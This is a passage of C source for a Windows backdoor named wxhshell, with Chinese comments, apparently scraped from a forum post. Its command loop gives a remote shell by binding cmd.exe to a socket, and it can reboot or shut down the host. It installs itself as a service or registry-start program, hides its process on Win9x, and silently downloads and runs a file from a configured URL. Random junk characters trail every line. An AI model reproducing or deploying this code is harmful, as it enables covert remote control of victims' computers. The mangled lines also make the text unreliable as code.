  else { \D BtU7"v  
g7k|Ho-W  
    switch(cmd[0]) { D@tuu]%p  
  jGM~(;iw6i  
  // 帮助 t?9F2rh  
  case '?': { CuPZ0  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 9;u$a^R.  
    break; )*N]Q  
  } }p0|.Qu9  
  // 安装 ]}R\[F (_%  
  case 'i': { |`9POl=  
    if(Install()) n~ \"W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); BnH< -n_  
    else ?DEj| i8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ml 7]s N(  
    break; 5nIm7vlQm  
    } $L>tV='  
  // 卸载 e!*d(lHKos  
  case 'r': { 0|8c2{9X,  
    if(Uninstall()) [QA@XBy6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0qSd #jO  
    else AE1!u{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y5>859"h  
    break; Z^9;sb,x  
    } :(,uaX> {  
  // 显示 wxhshell 所在路径 ny17(Y =  
  case 'p': { xd\k;nq  
    char svExeFile[MAX_PATH]; W[A;VOj0$  
    strcpy(svExeFile,"\n\r"); fB[I1Z  
      strcat(svExeFile,ExeFile); vINm2%*zJ  
        send(wsh,svExeFile,strlen(svExeFile),0); M(o?I}  
    break; l)`bm/k]V  
    } j,QeL  
  // 重启 ~a&s5E {  
  case 'b': { ]O s!=rt  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ),5^bl/  
    if(Boot(REBOOT)) |cL'4I>b9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tF SO"  
    else { %..{c#V  
    closesocket(wsh); H27_T]\  
    ExitThread(0); R[5*]$(b  
    } A:F*Y%ZW  
    break; \?&P|7N  
    } +N2?fgA  
  // 关机 dK,j|  
  case 'd': { C5#3c yf*B  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); p=jD "lq  
    if(Boot(SHUTDOWN)) wI\v5&X-B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8C4DOz|  
    else { E$m3Gg)s>N  
    closesocket(wsh); FQ>KbZh  
    ExitThread(0); qczGv2%!  
    } "NSm2RU3  
    break; TYW$=p|  
    } ext`%$ U7  
  // 获取shell l'T3RC,\  
  case 's': { oEvXZ;F@.  
    CmdShell(wsh); !'(bwbd  
    closesocket(wsh); a5C%OI<  
    ExitThread(0); J3cbDE%^m  
    break; P4"_qxAW  
  } *[@lp7  
  // 退出 a+ZP]3@ 7  
  case 'x': { ?UnOi1"v9  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); i]gF 6:&  
    CloseIt(wsh); ]&w>p#_C  
    break; oe,L&2Jz@  
    } ,TaaXI  
  // 离开 -qz;  
  case 'q': { -m)N~>{qS  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); AB40WCu]*  
    closesocket(wsh); 5an#,vCn{  
    WSACleanup(); L31B:t^  
    exit(1); PpX=~Of~  
    break; 'S\YNLqQ  
        } @x?7J@:  
  } #rM/  
  } hu.c&Q>  
p< Emy%  
  // 提示信息 EaGh`*"w(7  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5hak'#2  
} -S\74hA  
  } Z?|\0GR+`5  
B'>(kZYMs  
  return; Q9=vgOW+  
} ),y{.n:wm  
#`)zD"CO  
// shell模块句柄 W-zD1q~0?  
int CmdShell(SOCKET sock) _P.+[RS@  
{ p*E_Po  
STARTUPINFO si; >u#c\s  
ZeroMemory(&si,sizeof(si)); S83wAr9T  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;g$s`l/ 4  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; thcj_BZ8  
PROCESS_INFORMATION ProcessInfo; YpMQY-n  
char cmdline[]="cmd"; &NiDv   
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Dz;^'   
  return 0; K*jV=lG  
} 6=a($s!   
26un=  
// 自身启动模式 1wSJw  
int StartFromService(void) /M(FuV  
{ :{?8rA5  
typedef struct cN_e0;*Ua  
{ \xJTsdd  
  DWORD ExitStatus; &*iar+vr  
  DWORD PebBaseAddress; "mr;!"LA  
  DWORD AffinityMask; #!0le:_  
  DWORD BasePriority; *.4;7#  
  ULONG UniqueProcessId; AHX_I  
  ULONG InheritedFromUniqueProcessId; 4HEp}Y"}V  
}   PROCESS_BASIC_INFORMATION; vk:@rOpl  
rCqcl  
PROCNTQSIP NtQueryInformationProcess; Cp(,+ dD  
=o]V!MW  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; o\u31,  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 1"ko wp  
\hv1"WaJ  
  HANDLE             hProcess; 1c_qNI;:p  
  PROCESS_BASIC_INFORMATION pbi; J&4LyIpQ  
*kE2d{h^=C  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); pv8"E?9,k  
  if(NULL == hInst ) return 0; MFO}E!9`q  
&o*/6X  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); $$`E@\5P  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); V4'G%!NY  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ,y@` =  
VOH.EK?5  
  if (!NtQueryInformationProcess) return 0; l&cYN2T b  
BtDi$d%'  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); f@lRa>Z(Fm  
  if(!hProcess) return 0; u!`oKe;  
1"{3v@yi  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; e.9oB<Etp  
}2 zJ8A9-  
  CloseHandle(hProcess); wZN<Og+;  
J'B6l#N  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); j4RM'_*G  
if(hProcess==NULL) return 0; 'zV/4iE=  
r168ft?c  
HMODULE hMod; l<0 BMwS8  
char procName[255]; LQ pUyqR  
unsigned long cbNeeded; z 17  
| W:JI  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); fdP[{.$?(  
YO o?.[}@  
  CloseHandle(hProcess); g(m3 &  
\NwL#bQ~  
if(strstr(procName,"services")) return 1; // 以服务启动 mle"!*  
?'uxYeX6  
  return 0; // 注册表启动 .n]P6t  
} NidG|Yg~Z  
NFTEp0eP  
// 主模块 4h wUH  
int StartWxhshell(LPSTR lpCmdLine) vy\;#X!  
{ 3l"7$B  
  SOCKET wsl; A8Q1x/d(  
BOOL val=TRUE; J2H/z5YRJ4  
  int port=0; )P>Cxzs  
  struct sockaddr_in door; h7mJXS)t|  
bAv>?Xqa  
  if(wscfg.ws_autoins) Install(); (@Q@B%!!K  
3#vhQ*xU  
port=atoi(lpCmdLine); E ?(+v  
2)(P;[m^o  
if(port<=0) port=wscfg.ws_port; r J'm>&Ps  
vB(tpki|  
  WSADATA data; H@%Y!z@\  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; * bx%hX  
.lm^+1}r  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   lgp-/O"T  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); biFy*+|  
  door.sin_family = AF_INET; F<y$Q0Z}  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); j2NnDz'  
  door.sin_port = htons(port); o =)hUr  
P_)h8-!+ $  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Ftu~nh}  
closesocket(wsl); 513{oM:  
return 1; Qe<D X"  
} V4p4m@z^u  
hKP!;R  
  if(listen(wsl,2) == INVALID_SOCKET) { 2lPj%i 5  
closesocket(wsl); :{NvBxc[  
return 1; Z"rrbN1  
} G\3@QgyQ  
  Wxhshell(wsl); |,rIB  
  WSACleanup(); Ht#5;c2/  
En%PIkxeR  
return 0; ]h8[b9$<")  
7Z;bUMYtx  
} F/;uN5{o  
xJ H]>#XJ  
// 以NT服务方式启动 ><9E^ k0.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Et{4*+A  
{ D hy  
DWORD   status = 0; sE7!U|  
  DWORD   specificError = 0xfffffff; L ;5uB2  
R /J@XP  
  serviceStatus.dwServiceType     = SERVICE_WIN32; F.ml]k&(m  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; tEP~`$9  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ;QbMVY  
  serviceStatus.dwWin32ExitCode     = 0; h;105$E1  
  serviceStatus.dwServiceSpecificExitCode = 0; bp Q/#\Z  
  serviceStatus.dwCheckPoint       = 0; V~p/P  
  serviceStatus.dwWaitHint       = 0; |~vo  
1?s]nU  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Sgp$B:  
  if (hServiceStatusHandle==0) return; lN"%~n?  
  )z#  
status = GetLastError(); V"=(I'X  
  if (status!=NO_ERROR) G/T oiUY  
{ ??Zh$^No:  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Z>1\|j  
    serviceStatus.dwCheckPoint       = 0; f,{O%*PUA  
    serviceStatus.dwWaitHint       = 0; h ,;f6  
    serviceStatus.dwWin32ExitCode     = status; ?h)Z ;,}  
    serviceStatus.dwServiceSpecificExitCode = specificError; v:0.  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9C[i#+_3M  
    return; B;.]<k'3  
  } `0a=A#]1o  
/Zs;dam  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ./nq*4=  
  serviceStatus.dwCheckPoint       = 0; QV/ o;  
  serviceStatus.dwWaitHint       = 0; Z}74% 9qE  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); B[k {u#Kp  
} YB{hQ<W  
 a~>.  
// 处理NT服务事件,比如:启动、停止 M_@%*y\o  
VOID WINAPI NTServiceHandler(DWORD fdwControl) --*Jv"/0  
{ t,|`#6Ft  
switch(fdwControl) _kR);\V.8  
{ ]A)`I  
case SERVICE_CONTROL_STOP: kGbtZ} W  
  serviceStatus.dwWin32ExitCode = 0; NUH;\*]8s  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ,{=pFs2  
  serviceStatus.dwCheckPoint   = 0; c zTr_>  
  serviceStatus.dwWaitHint     = 0; wWV`k  
  { lt 74`9,f  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ()L[l@m  
  } [:Kl0m7  
  return; Q; DN*  
case SERVICE_CONTROL_PAUSE: 7 ,Tg>,%Q  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ,n&@O,XGy  
  break; LliOhr4  
case SERVICE_CONTROL_CONTINUE: _ZUtQ49  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Y] Q=kI  
  break; ,m<t/@^]  
case SERVICE_CONTROL_INTERROGATE: yhF{ cK =  
  break; yu8xTh$:  
}; $RA8U:Q!1e  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Nm;(M =  
} Hrb67a%b  
LRNgpjE}  
// 标准应用程序主函数 7P!<c/ E  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) {OHaI ;  
{ M1(+_W`  
-P"9KnsO  
// 获取操作系统版本 Bn>"lDf,  
OsIsNt=GetOsVer(); uA]Z"  
GetModuleFileName(NULL,ExeFile,MAX_PATH); yk r5bS  
g *}M;"  
  // 从命令行安装 Fy(-.S1  
  if(strpbrk(lpCmdLine,"iI")) Install(); i U3GUsPy  
y U"pU>fV@  
  // 下载执行文件 :oRR1k  
if(wscfg.ws_downexe) { o/ Z  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) &fH;A X.  
  WinExec(wscfg.ws_filenam,SW_HIDE); ;2lKo="  
} 'F3cvpc`  
D vG9(Eh  
if(!OsIsNt) { QU0FeGtz  
// 如果时win9x,隐藏进程并且设置为注册表启动 ]&l.-0jt  
HideProc(); J=QuZwt  
StartWxhshell(lpCmdLine); 2M`]nAk2a  
} ~zdHJ8tYp  
else $$my,:nH  
  if(StartFromService()) <_X`D4g]XO  
  // 以服务方式启动 !V|%n(O"  
  StartServiceCtrlDispatcher(DispatchTable); FdrH,  
else 5}J|YKyP  
  // 普通方式启动 34k}7k~n  
  StartWxhshell(lpCmdLine); g5THkxp  
_ U/[n\oC  
return 0; U;%I" p`Z/  
}
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只看该作者 1 发表于: 2006-10-10
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